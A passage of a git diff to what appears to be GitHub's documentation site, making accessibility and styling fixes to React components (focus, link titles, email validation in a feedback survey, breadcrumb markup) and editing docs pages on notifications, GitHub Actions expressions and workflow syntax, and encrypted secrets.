diff --git a/components/guides/LearningTrack.tsx b/components/guides/LearningTrack.tsx
index f4ae20b9b4..12aad2722b 100644
--- a/components/guides/LearningTrack.tsx
+++ b/components/guides/LearningTrack.tsx
@@ -2,7 +2,7 @@ import cx from 'classnames'
 import { useTranslation } from 'components/hooks/useTranslation'
 import { ArrowRightIcon } from '@primer/octicons-react'
 import { ActionList } from '@primer/components'
-import { useState } from 'react'
+import { useEffect, useRef, useState } from 'react'
 import { FeaturedTrack } from 'components/context/ProductGuidesContext'
 import { TruncateLines } from 'components/ui/TruncateLines'
 import slugger from 'github-slugger'
@@ -15,11 +15,16 @@ type Props = {
 const DEFAULT_VISIBLE_GUIDES = 4
 export const LearningTrack = ({ track }: Props) => {
   const [numVisible, setNumVisible] = useState(DEFAULT_VISIBLE_GUIDES)
+  const { t } = useTranslation('product_guides')
+  const slug = track?.title ? slugger.slug(track?.title) : ''
+  const listRef = useRef<HTMLLIElement>(null)
   const showAll = () => {
     setNumVisible(track?.guides?.length || 0)
   }
-  const { t } = useTranslation('product_guides')
-  const slug = track?.title ? slugger.slug(track?.title) : ''
+
+  useEffect(() => {
+    if (listRef.current) listRef.current.focus()
+  })
 
   return (
     <div data-testid="learning-track" className="my-3 px-4 col-12 col-md-6">
@@ -57,6 +62,7 @@ export const LearningTrack = ({ track }: Props) => {
                 return {
                   renderItem: () => (
                     <ActionList.Item
+                      ref={listRef}
                       as="li"
                       key={guide.href + track?.trackName}
                       sx={{
diff --git a/components/guides/ProductGuides.tsx b/components/guides/ProductGuides.tsx
index 3df32a0fff..4ef8d26a13 100644
--- a/components/guides/ProductGuides.tsx
+++ b/components/guides/ProductGuides.tsx
@@ -1,6 +1,6 @@
+import React from 'react'
 import { DefaultLayout } from 'components/DefaultLayout'
 import { useProductGuidesContext } from 'components/context/ProductGuidesContext'
-import React from 'react'
 import { LandingSection } from 'components/landing/LandingSection'
 import { GuidesHero } from 'components/guides/GuidesHero'
 import { LearningTracks } from 'components/guides/LearningTracks'
diff --git a/components/landing/ArticleList.tsx b/components/landing/ArticleList.tsx
index 916d4645bc..39ff055cf9 100644
--- a/components/landing/ArticleList.tsx
+++ b/components/landing/ArticleList.tsx
@@ -11,17 +11,27 @@ import { BumpLink } from 'components/ui/BumpLink'
 export type ArticleListPropsT = {
   title?: string
   viewAllHref?: string
+  viewAllTitleText?: string
   articles: Array<FeaturedLink>
 }
 
-export const ArticleList = ({ title, viewAllHref, articles }: ArticleListPropsT) => {
+export const ArticleList = ({
+  title,
+  viewAllHref,
+  viewAllTitleText,
+  articles,
+}: ArticleListPropsT) => {
   return (
     <>
       {title && (
         <div className="mb-4 d-flex flex-items-baseline">
           <h3 className={cx('f4 text-semibold')}>{title}</h3>
           {viewAllHref && (
-            <Link href={viewAllHref} className="ml-4">
+            <Link
+              href={viewAllHref}
+              className="ml-4"
+              {...(viewAllTitleText ? { title: viewAllTitleText } : {})}
+            >
               View all <ArrowRightIcon size={14} className="v-align-middle" />
             </Link>
           )}
diff --git a/components/landing/FeaturedArticles.tsx b/components/landing/FeaturedArticles.tsx
index 8b692b3fb3..1de819efef 100644
--- a/components/landing/FeaturedArticles.tsx
+++ b/components/landing/FeaturedArticles.tsx
@@ -20,6 +20,7 @@ export const FeaturedArticles = () => {
             <ArticleList
               title={section.label}
               viewAllHref={section.viewAllHref}
+              {...(section.viewAllHref ? { viewAllTitleText: `All ${section.label}` } : {})}
               articles={section.articles}
             />
           </div>
@@ -31,6 +32,7 @@ export const FeaturedArticles = () => {
           <ArticleList
             title={t('whats_new')}
             viewAllHref={changelogUrl}
+            viewAllTitleText="All ChangeLog posts"
             articles={(whatsNewChangelog || []).map((link) => {
               return {
                 title: link.title,
diff --git a/components/landing/LandingSection.tsx b/components/landing/LandingSection.tsx
index c17d1cfd6d..fc6a82dec5 100644
--- a/components/landing/LandingSection.tsx
+++ b/components/landing/LandingSection.tsx
@@ -1,3 +1,4 @@
+import { LinkIcon } from '@primer/octicons-react'
 import cx from 'classnames'
 
 type Props = {
@@ -14,6 +15,7 @@ export const LandingSection = ({ title, children, className, sectionLink, descri
         <h2 className={cx('h1 color-fg-default', !description ? 'mb-3' : 'mb-4')}>
           {sectionLink ? (
             <a className="color-unset" href={`#${sectionLink}`}>
+              <LinkIcon size={24} className="m-1" />
               {title}
             </a>
           ) : (
diff --git a/components/landing/TableOfContents.tsx b/components/landing/TableOfContents.tsx
index 9de9eeab7b..ac4d94d4b8 100644
--- a/components/landing/TableOfContents.tsx
+++ b/components/landing/TableOfContents.tsx
@@ -32,7 +32,7 @@ export const TableOfContents = (props: Props) => {
                   renderItem: () => (
                     <ActionList.Item>
                       <li key={href} className="f4 d-list-item width-full list-style-none">
-                        <Link className="d-block width-full" href={href}>
+                        <Link className="d-block width-full text-underline" href={href}>
                           {title}
                         </Link>
                         {(childTocItems || []).length > 0 && (
@@ -49,7 +49,10 @@ export const TableOfContents = (props: Props) => {
                               }
                               return (
                                 <li key={childItem.fullPath} className="f4 d-block width-full m-2">
-                                  <Link className="d-block width-full" href={childItem.fullPath}>
+                                  <Link
+                                    className="d-block width-full text-underline"
+                                    href={childItem.fullPath}
+                                  >
                                     {childItem.title}
                                   </Link>
                                 </li>
diff --git a/components/page-footer/Contribution.tsx b/components/page-footer/Contribution.tsx
index 9c2e3673cf..060f77a00a 100644
--- a/components/page-footer/Contribution.tsx
+++ b/components/page-footer/Contribution.tsx
@@ -14,7 +14,7 @@ export const Contribution = () => {
     <div className="f5 contribution">
       <h2 className="f4 mb-3">{t`title`}</h2>
       <p className="max-w-xs color-fg-muted mb-3">{t`body`}</p>
-      <a className="btn" href={contributionHref}>
+      <a className="btn color-border-accent-emphasis" href={contributionHref}>
         <GitPullRequestIcon size="small" className="octicon mr-1" />
         {t`button`}
       </a>
diff --git a/components/page-footer/Survey.tsx b/components/page-footer/Survey.tsx
index 99d7e1f097..7d62241f31 100644
--- a/components/page-footer/Survey.tsx
+++ b/components/page-footer/Survey.tsx
@@ -17,6 +17,7 @@ export const Survey = () => {
   const { asPath } = useRouter()
   const { t } = useTranslation('survey')
   const [state, setState] = useState<ViewState>(ViewState.START)
+  const [isEmailError, setIsEmailError] = useState(false)
   const formRef = useRef<HTMLFormElement>(null)
 
   useEffect(() => {
@@ -33,10 +34,28 @@ export const Survey = () => {
     }
   }
 
+  // Though we set `type="email"` on the email address input which gives us browser
+  // validation of the field, that has accessibility issues (e.g. some screen
+  // readers won't read the error message) so we need to do manual validation
+  // ourselves.
+  function handleEmailInputChange() {
+    const emailRegex = /[^@\s.][^@\s]*@\[?[a-z0-9.-]+\]?/i
+    const surveyEmail = getFormData()?.get('survey-email')?.toString()
+
+    if (surveyEmail?.length === 0 || surveyEmail?.match(emailRegex)) {
+      setIsEmailError(false)
+    } else {
+      setIsEmailError(true)
+    }
+  }
+
   function submit(evt: React.FormEvent) {
     evt.preventDefault()
     trackEvent(getFormData())
-    setState(ViewState.END)
+    if (!isEmailError) {
+      setState(ViewState.END)
+      setIsEmailError(false)
+    }
   }
 
   function getFormData() {
@@ -64,7 +83,10 @@ export const Survey = () => {
             checked={state === ViewState.YES}
           />
           <label
-            className={cx('btn mr-1', state === ViewState.YES && 'color-bg-accent-emphasis')}
+            className={cx(
+              'btn mr-1 color-border-accent-emphasis',
+              state === ViewState.YES && 'color-bg-accent-emphasis'
+            )}
             htmlFor="survey-yes"
           >
             <ThumbsupIcon size={16} className={state === ViewState.YES ? '' : 'color-fg-muted'} />
@@ -80,7 +102,10 @@ export const Survey = () => {
             checked={state === ViewState.NO}
           />
           <label
-            className={cx('btn', state === ViewState.NO && 'color-bg-danger-emphasis')}
+            className={cx(
+              'btn color-border-accent-emphasis',
+              state === ViewState.NO && 'color-bg-danger-emphasis'
+            )}
             htmlFor="survey-no"
           >
             <ThumbsdownIcon size={16} className={state === ViewState.NO ? '' : 'color-fg-muted'} />
@@ -104,7 +129,7 @@ export const Survey = () => {
               id="survey-comment"
             ></textarea>
           </p>
-          <p>
+          <div className={cx('form-group', isEmailError ? 'warn' : '')}>
             <label className="d-block mb-1 f6" htmlFor="survey-email">
               {t`email_label`}
               <span className="text-normal color-fg-muted float-right ml-1">{t`optional`}</span>
@@ -115,18 +140,33 @@ export const Survey = () => {
               name="survey-email"
               id="survey-email"
               placeholder={t`email_placeholder`}
+              onChange={handleEmailInputChange}
+              aria-invalid={isEmailError}
+              {...(isEmailError ? { 'aria-describedby': 'email-input-validation' } : {})}
             />
-            <span className="f6 color-fg-muted">{t`not_support`}</span>
-          </p>
+            {isEmailError && (
+              <p className="note warning" id="email-input-validation">
+                {t`email_validation`}
+              </p>
+            )}
+          </div>
+          <span className="f6 color-fg-muted">{t`not_support`}</span>
           <div className="d-flex flex-justify-end flex-items-center mt-3">
             <button
               type="button"
               className="btn btn-sm btn-invisible mr-3"
-              onClick={() => setState(ViewState.START)}
+              onClick={() => {
+                setState(ViewState.START)
+                setIsEmailError(false)
+              }}
             >
               Cancel
             </button>
-            <button type="submit" className="btn btn-sm">
+            <button
+              disabled={isEmailError}
+              type="submit"
+              className="btn btn-sm color-border-accent-emphasis"
+            >
               {t`send`}
             </button>
           </div>
diff --git a/components/page-header/Breadcrumbs.tsx b/components/page-header/Breadcrumbs.tsx
index 2eb74d9327..c312df4b5d 100644
--- a/components/page-header/Breadcrumbs.tsx
+++ b/components/page-header/Breadcrumbs.tsx
@@ -28,39 +28,43 @@ export const Breadcrumbs = () => {
       className={cx('f5 breadcrumbs', styles.breadcrumbs)}
       aria-label="Breadcrumb"
     >
-      {Object.values(breadcrumbs).map((breadcrumb, i, arr) => {
-        if (!breadcrumb) {
-          return null
-        }
-        const title = `${breadcrumb.title}`
-        return [
-          !breadcrumb.href ? (
-            <span data-testid="breadcrumb-title" key={title} title={title} className="px-2">
-              {breadcrumb.title}
-            </span>
-          ) : (
-            <Link
-              key={title}
-              data-testid="breadcrumb-link"
-              href={breadcrumb.href}
-              title={title}
-              className={cx(
-                'pr-3',
-                // Always show first and last, show middle on XL size
-                i === 0 || i === arr.length - 1 ? 'd-inline-block' : 'd-none d-xl-inline-block',
-                pathWithLocale === breadcrumb.href && 'color-fg-muted'
-              )}
-            >
-              {breadcrumb.title}
-              {i !== arr.length - 1 ? (
-                <span className="color-fg-muted pl-3" key={`${i}-slash`}>
-                  /
+      <ul>
+        {Object.values(breadcrumbs)
+          .filter(Boolean)
+          .map((breadcrumb, i, arr) => {
+            const title = `${breadcrumb.title}`
+            return [
+              !breadcrumb.href ? (
+                <span data-testid="breadcrumb-title" key={title} title={title} className="px-2">
+                  {breadcrumb.title}
                 </span>
-              ) : null}
-            </Link>
-          ),
-        ]
-      })}
+              ) : (
+                <li className="d-inline-block" key={title}>
+                  <Link
+                    data-testid="breadcrumb-link"
+                    href={breadcrumb.href}
+                    title={title}
+                    className={cx(
+                      'pr-3',
+                      // Always show first and last, show middle on XL size
+                      i === 0 || i === arr.length - 1
+                        ? 'd-inline-block'
+                        : 'd-none d-xl-inline-block',
+                      pathWithLocale === breadcrumb.href && 'color-fg-muted'
+                    )}
+                  >
+                    {breadcrumb.title}
+                    {i !== arr.length - 1 ? (
+                      <span className="color-fg-muted pl-3" key={`${i}-slash`}>
+                        /
+                      </span>
+                    ) : null}
+                  </Link>
+                </li>
+              ),
+            ]
+          })}
+      </ul>
     </nav>
   )
 }
diff --git a/components/page-header/RestRepoBanner.tsx b/components/page-header/RestRepoBanner.tsx
index ec0230d528..07d229abec 100644
--- a/components/page-header/RestRepoBanner.tsx
+++ b/components/page-header/RestRepoBanner.tsx
@@ -11,7 +11,7 @@ const restDisplayPages = [
   '/rest/reference/pages',
   '/rest/reference/releases',
   '/rest/reference/repos',
-  '/rest/reference/repository-metrics',
+  '/rest/reference/metrics',
   '/rest/reference/webhooks',
 ]
 const restRepoCategoryExceptionsTitles = {
@@ -21,7 +21,7 @@ const restRepoCategoryExceptionsTitles = {
   deployments: 'Deployments',
   pages: 'GitHub Pages',
   releases: 'Releases',
-  'repository-metrics': 'Repository metrics',
+  metrics: 'Metrics',
   webhooks: 'Webhooks',
 }
 
diff --git a/components/ui/ScrollButton/ScrollButton.tsx b/components/ui/ScrollButton/ScrollButton.tsx
index 7397a438a5..ca9111445f 100644
--- a/components/ui/ScrollButton/ScrollButton.tsx
+++ b/components/ui/ScrollButton/ScrollButton.tsx
@@ -37,7 +37,7 @@ export const ScrollButton = ({ className, ariaLabel }: ScrollButtonPropsT) => {
     <div className={cx(className, 'transition-200', show ? 'opacity-100' : 'opacity-0')}>
       <button
         onClick={onClick}
-        className="color-bg-default color-fg-on-emphasis border-0 d-inline-block mr-2 f6"
+        className="color-bg-default color-fg-default border-0 d-inline-block mr-2 f6"
       >
         {t('scroll_to_top')}
       </button>
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
index f989cb9be2..433d796e83 100644
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -23,7 +23,7 @@ To help you understand your subscriptions and decide whether to unsubscribe, see
 
 ## Choosing how to unsubscribe
 
-To unwatch (or unsubscribe from) repositories quickly, go to the "Watched repositories" page, where you can see all repositories you're watching. For more information, see "[Unwatch a repository](#unwatch-a-repository)."
+To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see "[Unwatching repositories](#unwatching-repositories)."
 
 To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
 
@@ -57,20 +57,32 @@ When you unsubscribe from notifications in your inbox, they will automatically d
 2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
   ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
 
-## Unwatch a repository
+## Unwatching repositories
 
 When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
 
 {% data reusables.notifications.access_notifications %}
 1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
+
   ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+
 2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
-  {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    - Unwatch a repository
-    - Ignore all notifications for a repository
-    - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled)
-  {% else %}
-    - Unwatch a repository
-    - Only watch releases for a repository
-    - Ignore all notifications for a repository
-  {% endif %}
+   {%- ifversion fpt or ghes > 3.0 or ghae or ghec %}
+   - Unwatch a repository
+   - Ignore all notifications for a repository
+   - If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %})
+   {%- else %}
+   - Unwatch a repository
+   - Only watch releases for a repository
+   - Ignore all notifications for a repository
+   {%- endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5819 %}
+1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories.
+
+   ![Screenshot of the Unwatch All button.](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png)
+
+   - Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel.
+
+   ![Screenshot of the unwatch all confirmation dialogue.](/assets/images/help/notifications-v2/unwatch-repo-dialog.png)
+
+{% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
index b79c2b3be4..1db78743d3 100644
--- a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
+++ b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
@@ -2,8 +2,6 @@
 title: Managing accessibility settings
 intro: 'You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings.'
 versions:
-  fpt: '*'
-  ghes: '>=3.4'
   feature: keyboard-shortcut-accessibility-setting
 ---
 
@@ -11,12 +9,12 @@ versions:
 
 {% data variables.product.product_name %} includes a variety of keyboard shortcuts so that you can perform actions across the site without using your mouse to navigate. While shortcuts are useful to save time, they can sometimes make {% data variables.product.prodname_dotcom %} harder to use and less accessible.
 
-All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as `control` or `command`.
+All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as <kbd>Control</kbd> or <kbd>Command</kbd>.
 
 ## Managing character key shortcuts
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.accessibility_settings %}
-1. Select or deselect the **Enable character key shortcuts** checkbox. 
+1. Select or deselect the **Enable character key shortcuts** checkbox.
    ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
 2. Click **Save**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
index 47f926a386..e4db7678d8 100644
--- a/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
+++ b/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
@@ -40,7 +40,7 @@ By default, your organization membership visibility is set to private. You can c
 
 {% ifversion fpt or ghec %}
 
-If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% endif %}
 
diff --git a/content/actions/learn-github-actions/expressions.md b/content/actions/learn-github-actions/expressions.md
index 43a4e14853..95646a2618 100644
--- a/content/actions/learn-github-actions/expressions.md
+++ b/content/actions/learn-github-actions/expressions.md
@@ -125,11 +125,11 @@ Returns `true` if `search` contains `item`. If `search` is an array, this functi
 
 #### Example using an array
 
-`contains(github.event.issue.labels.*.name, 'bug')`
+`contains(github.event.issue.labels.*.name, 'bug')` returns whether the issue related to the event has a label "bug".
 
 #### Example using a string
 
-`contains('Hello world', 'llo')` returns `true`
+`contains('Hello world', 'llo')` returns `true`.
 
 ### startsWith
 
@@ -139,7 +139,7 @@ Returns `true` when `searchString` starts with `searchValue`. This function is n
 
 #### Example
 
-`startsWith('Hello world', 'He')` returns `true`
+`startsWith('Hello world', 'He')` returns `true`.
 
 ### endsWith
 
@@ -149,7 +149,7 @@ Returns `true` if `searchString` ends with `searchValue`. This function is not c
 
 #### Example
 
-`endsWith('Hello world', 'ld')` returns `true`
+`endsWith('Hello world', 'ld')` returns `true`.
 
 ### format
 
@@ -159,13 +159,11 @@ Replaces values in the `string`, with the variable `replaceValueN`. Variables in
 
 #### Example
 
-Returns 'Hello Mona the Octocat'
-
 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
 
-#### Example escaping braces
+Returns 'Hello Mona the Octocat'.
 
-Returns '{Hello Mona the Octocat!}'
+#### Example escaping braces
 
 {% raw %}
 ```js
@@ -173,6 +171,8 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
 ```
 {% endraw %}
 
+Returns '{Hello Mona the Octocat!}'.
+
 ### join
 
 `join( array, optionalSeparator )`
diff --git a/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
index f3586ab251..e2b3572a62 100644
--- a/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
+++ b/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
@@ -61,7 +61,7 @@ The patterns defined in `branches` and `tags` are evaluated against the Git ref'
 on:
   push:
     # Sequence of patterns matched against refs/heads
-    branches:    
+    branches:
       # Push events on main branch
       - main
       # Push events to branches matching refs/heads/mona/octocat
@@ -69,7 +69,7 @@ on:
       # Push events to branches matching refs/heads/releases/10
       - 'releases/**'
     # Sequence of patterns matched against refs/tags
-    tags:        
+    tags:
       - v1             # Push events to v1 tag
       - v1.*           # Push events to v1.0, v1.1, and v1.9 tags
 ```
@@ -109,7 +109,7 @@ The following workflow will run on pushes to `releases/10` or `releases/beta/mon
 ```yaml
 on:
   push:
-    branches:    
+    branches:
       - 'releases/**'
       - '!releases/**-alpha'
 ```
@@ -208,7 +208,7 @@ on:
         default: 'john-doe'
         required: false
         type: string
-  
+
 jobs:
   print-username:
     runs-on: ubuntu-latest
@@ -244,7 +244,7 @@ on:
         value: ${{ jobs.my_job.outputs.job_output1 }}
       workflow_output2:
         description: "The second job output"
-        value: ${{ jobs.my_job.outputs.job_output2 }}  
+        value: ${{ jobs.my_job.outputs.job_output2 }}
 ```
 {% endraw %}
 
@@ -268,12 +268,12 @@ on:
       access-token:
         description: 'A token passed from the caller workflow'
         required: false
-  
+
 jobs:
   pass-secret-to-action:
     runs-on: ubuntu-latest
 
-    steps:  
+    steps:
       - name: Pass the received secret to an action
         uses: ./.github/actions/my-action@v1
         with:
@@ -283,7 +283,7 @@ jobs:
 
 ## `on.workflow_call.secrets.<secret_id>`
 
-A string identifier to associate with the secret. 
+A string identifier to associate with the secret.
 
 ## `on.workflow_call.secrets.<secret_id>.required`
 
@@ -297,13 +297,12 @@ When using the `workflow_dispatch` event, you can optionally specify inputs that
 The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
 
 ### Example
-{% raw %}
 ```yaml
-on: 
+on:
   workflow_dispatch:
     inputs:
       logLevel:
-        description: 'Log level'     
+        description: 'Log level'
         required: true
         default: 'warning' {% ifversion ghec or ghes > 3.3 or ghae-issue-5511 %}
         type: choice
@@ -319,16 +318,16 @@ on:
         description: 'Environment to run tests against'
         type: environment
         required: true {% endif %}
-  
+
 jobs:
   print-tag:
     runs-on: ubuntu-latest
 
     steps:
       - name: Print the input tag to STDOUT
-        run: echo The tag is ${{ github.event.inputs.tag }}
+        run: echo {% raw %} The tag is ${{ github.event.inputs.tag }} {% endraw %}
 ```
-{% endraw %}
+
 
 ## `on.schedule`
 
@@ -1029,7 +1028,7 @@ jobs:
         with:
           first_name: Mona
           middle_name: The
-          last_name: Octocat      
+          last_name: Octocat
 ```
 
 ## `jobs.<job_id>.steps[*].with.args`
@@ -1459,7 +1458,7 @@ Additional Docker container resource options. For a list of options, see "[`dock
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `jobs.<job_id>.uses`
 
-The location and version of a reusable workflow file to run as a job. 
+The location and version of a reusable workflow file to run as a job.
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
@@ -1509,7 +1508,7 @@ jobs:
   call-workflow:
     uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main
     secrets:
-      access-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }} 
+      access-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }}
 ```
 {% endraw %}
 
diff --git a/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
index 7d2434b60a..2d0cc5de22 100644
--- a/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ b/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -31,8 +31,6 @@ You can also disable and enable a workflow using the REST API. For more informat
 
 ## Disabling a workflow
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -62,8 +60,6 @@ gh workflow disable <em>workflow</em>
 
 ## Enabling a workflow
 
-{% include tool-switcher %}
-
 {% webui %}
 
 You can re-enable a workflow that was previously disabled.
diff --git a/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
index 4ab8536d23..8afafba387 100644
--- a/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
+++ b/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -16,8 +16,6 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/content/actions/managing-workflow-runs/manually-running-a-workflow.md
index 249fc20534..c0efceadd1 100644
--- a/content/actions/managing-workflow-runs/manually-running-a-workflow.md
+++ b/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -20,8 +20,6 @@ To run a workflow manually, the workflow must be configured to run on the `workf
 
 ## Running a workflow
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
index 60aff0be96..1c98738420 100644
--- a/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
+++ b/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -17,9 +17,7 @@ versions:
 
 ## Re-running all the jobs in a workflow
 
-Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. 
-
-{% include tool-switcher %}
+Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run.
 
 {% webui %}
 
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
index 6ecf2c01cc..f1e7af9ec9 100644
--- a/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
+++ b/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -16,8 +16,6 @@ shortTitle: View workflow run history
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/actions/security-guides/encrypted-secrets.md b/content/actions/security-guides/encrypted-secrets.md
index ebe23f7005..ba0efc7bc1 100644
--- a/content/actions/security-guides/encrypted-secrets.md
+++ b/content/actions/security-guides/encrypted-secrets.md
@@ -41,7 +41,7 @@ For secrets stored at the environment level, you can enable required reviewers t
 
 {% data reusables.codespaces.secrets-naming %}
 
-  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. 
+  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level.
 
   {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.{% endif %}
 
@@ -79,8 +79,6 @@ When generating credentials, we recommend that you grant the minimum permissions
 
 {% data reusables.github-actions.permissions-statement-secrets-repository %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -121,8 +119,6 @@ To list all secrets for the repository, use the `gh secret list` subcommand.
 
 {% data reusables.github-actions.permissions-statement-secrets-environment %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -160,8 +156,6 @@ When creating a secret in an organization, you can use a policy to limit which r
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.organizations.navigate-to-org %}
diff --git a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
index 19459440e4..800523818b 100644
--- a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
+++ b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -1,7 +1,6 @@
 ---
 title: Configuring SAML single sign-on for your enterprise using Okta
 intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) with Okta to automatically manage access to your enterprise account on {% data variables.product.product_name %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
